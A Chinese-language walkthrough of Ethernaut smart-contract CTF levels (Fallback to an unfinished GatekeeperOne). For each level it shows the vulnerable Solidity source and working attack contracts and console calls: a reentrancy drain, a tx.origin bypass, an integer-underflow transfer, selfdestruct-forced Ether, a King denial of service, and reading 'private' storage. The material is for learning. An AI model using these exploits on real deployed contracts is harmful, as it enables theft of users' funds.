ethernaut刷题记录

笔者想学习web3已经很久了,奈何一直没有静下心来学习。最近有了一定时间窗口可以学习,所以找到了这个靶场入门(怎么有人4202年了才开始学blockchain啊),在做题之前需要先掌握blockchain的一部分基础知识以及solidity语言和evm,这部分最好先自行了解一下。笔者也是初学者,有说的不对的地方恳请斧正

Hello Ethernaut

简单的介绍了通过web终端的js web3接口与合约交互的方法,熟悉一遍即可。

Fallback

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Fallback {

  mapping(address => uint) public contributions;
  address public owner;

  constructor() {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

  modifier onlyOwner {
        require(
            msg.sender == owner,
            "caller is not the owner"
        );
        _;
    }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    payable(owner).transfer(address(this).balance);
  }

  receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}

关卡目标是成为合约的owner,以及清空合约的balance。

可以看到构造函数中赋予了初始的owner(也就是合约的部署者),并将他的contribution设置为了1000eth

contribute函数允许交互者通过捐钱的方式增加contribution值,如果contribution超过了owner的1000eth就可以成为新的owner,不过函数开头有一个蛋疼的判断 require(msg.value < 0.001 ether),正儿八经的捐钱的话,不管是gas fee还是钱包余额还是花费的时间都不太看得下去,因此这个方法并不可行。

getContribution是返回交互者contribution的getter方法,与解题关系不大。

withdraw将合约的所有balance都转给了owner,也就是将其清空,不过只有owner能调用。

最后的receive比较有意思,在solidity语言中,每个合约可以有至多一个receive函数和一个fallback函数。他们都用来处理交互时其他函数未命中的情况,不过receive不会处理msg.data,且触发优先级在fallback之后(如果fallback具有payable属性的话)。更多细节可以参考官方文档

在该合约的receive中,有一个简单的check:

require(msg.value > 0 && contributions[msg.sender] > 0)

只要msg.value和自己的contribution大于0,即可成为合约新的owner,而这些条件都很好满足。

  1. 首先调用contribute,提升自己的contribution:contract.contribute({value:1})
  2. 直接发起交易,触发receive:contract.sendTransaction({value:1})
  3. 此时已经是owner了,调用后门清空balance:contract.withdraw()

Fal1out

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import 'openzeppelin-contracts-06/math/SafeMath.sol';

contract Fallout {
  
  using SafeMath for uint256;
  mapping (address => uint) allocations;
  address payable public owner;


  // constructor
  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

  modifier onlyOwner {
	        require(
	            msg.sender == owner,
	            "caller is not the owner"
	        );
	        _;
	    }

  function allocate() public payable {
    allocations[msg.sender] = allocations[msg.sender].add(msg.value);
  }

  function sendAllocation(address payable allocator) public {
    require(allocations[allocator] > 0);
    allocator.transfer(allocations[allocator]);
  }

  function collectAllocations() public onlyOwner {
    msg.sender.transfer(address(this).balance);
  }

  function allocatorBalance(address allocator) public view returns (uint) {
    return allocations[allocator];
  }
}

通关条件是成为owner,仔细分析合约,发现调用fal1out即可成为owner,虽然在该函数上方有一行注释表名它是构造函数,但看完了solidity的文档都没有找到类似的语法,所以虽然不解,但他肯定是在骗人

所以直接调用fal1out即可。

contract.Fal1out({value: 1})

Coin Flip

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {

  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number - 1));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue / FACTOR;
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

这关的通关条件是consecutiveWins达到10,也就是每次调用flip来猜测一个bool值(猜硬币的正反面)。

不过需要连续猜对10次才行,中间断掉都会被清空,因此不可能暴力去猜测(矿工:多来点多来点)

想要准确的预测结果,就需要我们再次分析一下这个flip函数的实现。

参考solidity文档中的描述,

blockhash(uint blockNumber) returns (bytes32): hash of the given block when blocknumber is one of the 256 most recent blocks; otherwise returns zero

block.number (uint): current block number

blockhash可以返回最近256个block的hash值,其他情况就会返回0

这里blockValue是调用的blockhash获取上一个block的hash值,然后查看他是否大于等于0x8000000000000000000000000000000000000000000000000000000000000000来决定抛硬币的结果。

这里很容易就能想到解决办法,因为每一次都获取的是上一个block的hash,所以其实每次都已经可以算出来了。

本来想直接在chrome的console里调js的web3接口直接解决,但是没找到调用blockhash()这种函数的abi,所以只能在remix ide里面部署中间合约来交互了。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {

  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number - 1));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue / FACTOR;
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

contract exp {
    CoinFlip public interactContract;

    constructor(address _addr) {
        interactContract = CoinFlip(_addr);
    }

    function guess() public {
        uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
        uint256 blockValue = uint256(blockhash(block.number - 1));
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;
        interactContract.flip(side);
    }
}

(第一次用remix ide部署合约,半天没发现要连上自己钱包,一直在用fork出来的网交互,我说怎么一直查不到区块number,另:交互10次真的好难等)

Telephone

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {

  address public owner;

  constructor() {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

目标仍然是成为合约的owner,并且很直白的给出了changeOwner函数

参考官方文档对tx.origin的描述:

tx.origin (address): sender of the transaction (full call chain)
msg.sender (address): sender of the message (current call)

tx.origin是交易最初的发起方,而msg.sender是当前的合约交互方(可以理解为一个是整个交易链的头结点,一个是当前节点)。

这里我们采用布置一个中间协议来交互的方式绕过这个判断。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {
  address public owner;

  constructor() {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

contract exp {
  Telephone public interactContract;
  constructor(address _addr) {
	interactContract = Telephone(_addr);
  }
  
  function forwardToTelephone() public {
    interactContract.changeOwner(msg.sender);
  }
}

该题揭示了一种真实存在的漏洞类型:fishing-style attack参考链接

Token

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}

题目初始给了我们20个Token,我们的目标是增加手中的Token。

根据某些直觉,我们发现transfer中判断余额是否足够的方法存在一些问题,_valuebalancesvalue都是uint类型的,uint之间做运算结果仍是uint,也就是说恒大于0,因此这个判断其实没有任何作用(草)。

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}

contract exp {
  Token public interactContract;
  constructor(address _addr) public {
    interactContract = Token(_addr);
  }

  function overflow() public {
    interactContract.transfer(0x7Af5626f15AAa698FF6bb04f48a28fd954961d2E, 0xffffffff);
  }

}

Delegation

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Delegate {

  address public owner;

  constructor(address _owner) {
    owner = _owner;
  }

  function pwn() public {
    owner = msg.sender;
  }
}

contract Delegation {

  address public owner;
  Delegate delegate;

  constructor(address _delegateAddress) {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
      this;
    }
  }
}

这道题的目标是成为Delegation的owner。提示是delegatecallfunction id。对于前者,我们可以直接在文档中找到明确的定义,简单的说就是允许直接以当前合约的上下文来运行其他合约或库中的某个函数,可以粗略地理解为将对应函数直接inline到当前位置;而后者询问ChatGPT后得知:

在 Solidity 中,每个函数都有一个唯一的函数选择器(function selector),也称为函数的 ID。函数选择器是通过函数的签名计算得到的,它用于标识和区分不同的函数。

函数选择器的计算方式是将函数的名称和参数类型进行编码,并对编码后的结果进行哈希。Solidity 中使用 Keccak-256(SHA-3)哈希算法来计算函数选择器。

一般来说,取sha3结果的前4bytes就行了。

梳理一下源码,Delegation合约中除了构造函数以外的地方都没法直接改变owner了。但是在fallback中,有一个直白的address(delegate).delegatecall(msg.data),也就是说,我们可以通过控制msg.data来以当前合约的上下文调用任意Delegate合约中的public函数。

Delegate合约刚好就有一个pwn函数可以劫持owner。

直接在web console交互:

contract.sendTransaction({data: web3.utils.sha3("pwn()").slice(0, 10)})

(一个小插曲:其实笔者最开始是在remix ide中使用Low level interactions直接发送data过去的,这样做并没有问题,可笔者当时没能成功劫持owner。在万分不解中,去etherscan查看了交易详情,发现问题出在交易设置的gas limit上,每次都是因为消耗的gas达到了上限,evm并没有跑完代码。而web console中的web3 api对gas的估算就太大了,gas limit始终在2M左右,所以没有遇到out of gas错误)

Force

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Force {/*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)

*/}

关卡目标是让合约的余额大于0,

提示如下:

Fallback methods
Sometimes the best way to attack a contract is with another contract.

一个合约如果没有receive函数,也没有具有payable属性的fallback函数,那他就没办法接受以太币转账——通常情况下是这样的。然而有一个例外是,当某个合约调用selfdesturct自毁时,可以无视条件向一个账户转去自己剩余的以太币,而这就是解出该题的关键。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Force {/*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)

*/}

contract exp {
  Force public victim;

  constructor(address _addr) {
    victim = Force(_addr);
  }

  function whiteGive() public {
    selfdestruct(payable(address(victim)));
  }

  receive() external payable { }

}

(部署好exp合约后记得转一点钱进去再自毁,不然whiteGive就真white give了。)

解出该题过后,会出现一个提示:任何情况下都不要使用address(this).balance == 0这样的判断。

Vault

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Vault {
  bool public locked;
  bytes32 private password;

  constructor(bytes32 _password) {
    locked = true;
    password = _password;
  }

  function unlock(bytes32 _password) public {
    if (password == _password) {
      locked = false;
    }
  }
}

关卡目标是让locked变为false。

直观的看,想要成功unlock,就需要知道合约执行构造函数时传入的_password,这看上去似乎很难实现。

虽然passwordprivate的,编译器不会像public的变量那样为他生成默认的getter函数供外部访问,但其实我们还是可以借助web3提供的接口来人工查到,只需要知道他所处的地址就行。

那么password在合约内部的位置是怎样的呢,这就需要对编译器生成的evm字节码进行分析了。

用etherscan提供的decompiler进行反编译,这个stor1其实就是password变量,他被存在stirage 1的位置

def storage:
  locked is uint8 at storage 0
  stor1 is uint256 at storage 1

也可以直接在remix ide的compiler中查看details中的STORAGELAYOUT:

{
    "storage": [
        {
            "astId": 3,
            "contract": "koin.sol:Vault",
            "label": "locked",
            "offset": 0,
            "slot": "0",
            "type": "t_bool"
        },
        {
            "astId": 5,
            "contract": "koin.sol:Vault",
            "label": "password",
            "offset": 0,
            "slot": "1",
            "type": "t_bytes32"
        }
    ],
    "types": {
        "t_bool": {
            "encoding": "inplace",
            "label": "bool",
            "numberOfBytes": "1"
        },
        "t_bytes32": {
            "encoding": "inplace",
            "label": "bytes32",
            "numberOfBytes": "32"
        }
    }
}

"slot": "1"代表被放在了第一个槽内。

这部分的原理可以参考官方文档的描述,笔者就不赘述了。

直接在web console调用:

web3.eth.getStorageAt("0x4e162147f83a2f4E818608099fB40235a1da8135", 1)

得到了一个hex串:0x412076657279207374726f6e67207365637265742070617373776f7264203a29

(from hex的结果是A very strong secret password :)

知道密码后这题就结束了,这道题带给我们的启示就是,如果真的想存放某些不想公开的数据,光是设置private属性是没用的,一个建议的做法是先加密后再存入链中,至于加密使用的密钥,永远也别让他上链。

King

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {

  address king;
  uint public prize;
  address public owner;

  constructor() payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    payable(king).transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address) {
    return king;
  }
}

这道题展示了一个类似于庞氏骗局的游戏:合约中定义了king,以及他当上king时所出的prize。当一个人支付了更高的prize时,他将成为新的king,而前一个king也将收到这笔钱从而获得利润。

不过不难看出,receive函数中对king的更新条件还留了一个后门,即当msg.sender == owner时,king会无视金额转让。这意味着想要保持王位,在提交题目时,我们必须是该合约的owner——或者阻止king = msg.sender的执行(笑)。

该合约不具备让我们成为owner的条件,但也不是毫无突破口。在进行king的转让流程时,他是先调用payable(king).transfer(msg.value)向之前的国王进行转账,然后再king = msg.sender转让王位。这样就出现了一个窗口期:我们部署一个中间合约并让其成为king,在提交题目时,对方重新声明王位时就会向我们的中间合约转账,必然会触发我们的receive函数,而这中间我们就可以做一些事情。

联系到前面Force这题,我们知道一个合约可以调用selfdestruct来自毁,那如果我们自毁了,自然就没法正常收到他的transfer,这样一来他的执行就会在更改king之前报错并退出evm执行(如果合约使用的是payable(king).call{value:msg.value}("")这样的方式来转账的话,也许就没办法断下来了)。

所以整理一下思路就是:

  1. 部署一个中间合约,并在其receive中埋入自毁的代码
  2. 通过中间合约向题目合约转账使其成为新的国王
  3. 向中间合约转账使其触发receive中的自毁
  4. 提交题目,题目无法完成转账,从而无法运行到国王转让的机器码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {

  address king;
  uint public prize;
  address public owner;

  constructor() payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    payable(king).transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address) {
    return king;
  }
}

contract exp {
    King public interfaceKing;
    constructor(address payable _addr) payable {
        interfaceKing = King(_addr);
    }
    function claim() public {
        (bool success,) = payable(address(interfaceKing)).call{value: 0.001 ether}("");
        require(success, "claim failed");
    }
    receive() external payable {
        selfdestruct(payable(address(0x7Af5626f15AAa698FF6bb04f48a28fd954961d2E)));
    }
}

Re-entrancy

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import 'openzeppelin-contracts-06/math/SafeMath.sol';

contract Reentrance {
  
  using SafeMath for uint256;
  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  receive() external payable {}
}

关卡目标是偷走合约账户内的所有余额。

题目合约实现了一个简单的存取款系统,该合约使用SafeMath库介入uint256的运算(uint一般情况下等价于uint256),也就是说balances不存在整数溢出。

既然题目取名为re-entrancy,必然会联想到blockchain中的一个经典利用——重入攻击。

所谓重入攻击,ChatGPT的描述是:

重入攻击是一种在以太坊智能合约中可能发生的安全威胁,它利用合约中的递归调用机制。攻击者试图在合约的外部调用中反复执行合约函数,从而可能导致未经授权的资金转移或执行不当的操作。

重入攻击的主要原理是,在一个函数调用未完成之前,攻击者通过递归调用将同一个函数再次触发执行。当函数被重新调用时,合约状态可能尚未更新,导致攻击者能够在未受限制的情况下执行某些操作。

有了这个提示,再来分析withdraw函数取款的逻辑:

  1. 判断对方账户的balance是否大于等于想要取走的数量_amount
  2. 使用msg.sender.call{value:_amount}("")发起转账
  3. 扣掉对应账户的balance

这里存在的问题就是,先进行了转账操作,再去维护对应的balances映射,且使用call("")转账会命中到对应合约的fallback函数上,如果我们此时再去递归调用它的withdraw函数申请取款,此时未经维护的balance仍然满足取款条件,即可成功转走多的余额。

(题目源码的safemath库在remix ide上访问不到,所以自己去github找了一个)

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.0.0/contracts/math/SafeMath.sol";

contract Reentrance {
  
  using SafeMath for uint256;
  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  receive() external payable {}
}

contract exp {
    Reentrance public interfaceReentrance;
    constructor(address payable _addr) public payable {
        interfaceReentrance = Reentrance(_addr);
    }

    function pwn() public {
        interfaceReentrance.donate{value: 0.001 ether}(address(this));
        interfaceReentrance.withdraw(0.001 ether);
    }

    receive() external payable {
        interfaceReentrance.withdraw(msg.value);
    }

}

Elevator

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
  function isLastFloor(uint) external returns (bool);
}


contract Elevator {
  bool public top;
  uint public floor;

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }
}

题目的目标是"通过电梯走到顶层",即令合约的state变量toptrue

goTo函数中判断top的逻辑看似矛盾,但这个接口是我们自己来定义的,所以直接实现一个相邻两次返回不同结果的isLastFloor函数即可成功修改掉top

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
  function isLastFloor(uint) external returns (bool);
}


contract Elevator {
  bool public top;
  uint public floor;

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }
}

contract exp {
    uint public cnt = 0;
    Elevator public interfaceElevator;

    constructor(address _addr) {
        interfaceElevator = Elevator(_addr);
    }

    function isLastFloor(uint) public returns (bool) {
        cnt++;
        if (cnt % 2 != 0) {
            return false;
        }
        else {
            return true;
        }
    }

    function pwn() public {
        interfaceElevator.goTo(114514);
    }
}

Privacy

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Privacy {

  bool public locked = true;
  uint256 public ID = block.timestamp;
  uint8 private flattening = 10;
  uint8 private denomination = 255;
  uint16 private awkwardness = uint16(block.timestamp);
  bytes32[3] private data;

  constructor(bytes32[3] memory _data) {
    data = _data;
  }
  
  function unlock(bytes16 _key) public {
    require(_key == bytes16(data[2]));
    locked = false;
  }

  /*
    A bunch of super advanced solidity algorithms...

      ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
      .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
      *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\
      `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.    ~|__(o.o)
      ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'  UU  UU
  */
}

类似于前面的Vault,这道题的目标也是使lockedtrue

编译后查看STORAGELAYOUT

{
    "storage": [
        {
            "astId": 4,
            "contract": "koin.sol:Privacy",
            "label": "locked",
            "offset": 0,
            "slot": "0",
            "type": "t_bool"
        },
        {
            "astId": 8,
            "contract": "koin.sol:Privacy",
            "label": "ID",
            "offset": 0,
            "slot": "1",
            "type": "t_uint256"
        },
        {
            "astId": 11,
            "contract": "koin.sol:Privacy",
            "label": "flattening",
            "offset": 0,
            "slot": "2",
            "type": "t_uint8"
        },
        {
            "astId": 14,
            "contract": "koin.sol:Privacy",
            "label": "denomination",
            "offset": 1,
            "slot": "2",
            "type": "t_uint8"
        },
        {
            "astId": 21,
            "contract": "koin.sol:Privacy",
            "label": "awkwardness",
            "offset": 2,
            "slot": "2",
            "type": "t_uint16"
        },
        {
            "astId": 25,
            "contract": "koin.sol:Privacy",
            "label": "data",
            "offset": 0,
            "slot": "3",
            "type": "t_array(t_bytes32)3_storage"
        }
    ],
    "types": {
        "t_array(t_bytes32)3_storage": {
            "base": "t_bytes32",
            "encoding": "inplace",
            "label": "bytes32[3]",
            "numberOfBytes": "96"
        },
        "t_bool": {
            "encoding": "inplace",
            "label": "bool",
            "numberOfBytes": "1"
        },
        "t_bytes32": {
            "encoding": "inplace",
            "label": "bytes32",
            "numberOfBytes": "32"
        },
        "t_uint16": {
            "encoding": "inplace",
            "label": "uint16",
            "numberOfBytes": "2"
        },
        "t_uint256": {
            "encoding": "inplace",
            "label": "uint256",
            "numberOfBytes": "32"
        },
        "t_uint8": {
            "encoding": "inplace",
            "label": "uint8",
            "numberOfBytes": "1"
        }
    }
}

可以看到data起始位置处于第三个slot,而一个bytes32类型的状态变量会占用一整个slot,unlock中用到的data[2]就在第5个slot中。

在web console中用web3.eth.getStorageAt(instance, 5)得到结果0xc55a9e32a3927345e2c6567b2fb8d57e376c2e1188bbff5b0d4f660cb2d66609

题目在对比之前还进行了显示强转,将其转化为了bytes16,也就是截断后面的16个字节。这里笔者偷懒直接在攻击合约中让他自己强转了(不缺gas费(暴论))。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IPrivacy {
  function unlock(bytes16) external;
}

contract exp {
  address public instance;
  bytes32 public raw;
  bytes16 public key;
  constructor(address _addr, bytes32 _raw) {
    instance = _addr;
    raw = _raw;
    key = bytes16(raw);
  }

  function pwn() public {
    IPrivacy(instance).unlock(key);
  }

}

GatekeeperOne

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperOne {

  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    require(gasleft() % 8191 == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
      require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
      require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
      require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

题目目标是使enter返回true,且成功将entrant注册为我们的账户。

enter函数有3个条件检查的修饰,分别对应了三个检查:

第一个比较简单,只要使用中间合约来与目标合约交互即可绕过。

第二个是检查了运行到

(待更新。。。)